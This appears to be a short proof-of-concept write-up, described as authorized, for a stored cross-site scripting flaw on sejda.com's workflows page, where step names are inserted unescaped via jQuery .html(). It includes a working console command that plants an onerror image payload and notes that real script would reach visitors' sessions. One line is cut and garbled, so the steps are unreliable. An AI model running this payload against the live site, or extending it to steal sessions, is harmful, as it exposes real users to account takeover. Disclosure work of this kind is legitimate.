Authorized security-assessment proof-of-concept for https://www.sejda.com/workflows.
Imported workflow files have their step names rendered into the page with jQuery .html()
without escaping, so a crafted workflow file executes JavaScript on the www.sejda.com origin
(cookie-less anonymous context included; no CSP present).
1) Download the PoC workflow file
sejda_workflows_demo.json<img onerror>).document.title) — a real attacker's
script would run with full access to the page origin, including the visitor's session.await Sejda.Workflows.saveOrUpdate({id:'DEMO-1',name:'demo',tasks:[{uri:'/merge-pdf',type:'merge',files:[]}],steps:['<img src=x onerror="alert(document.domain)">']}); location.reload();
An alert box showing www.sejda.com appears on reload — same sink, same origin.
In the same console: Sejda.Workflows.deleteAll()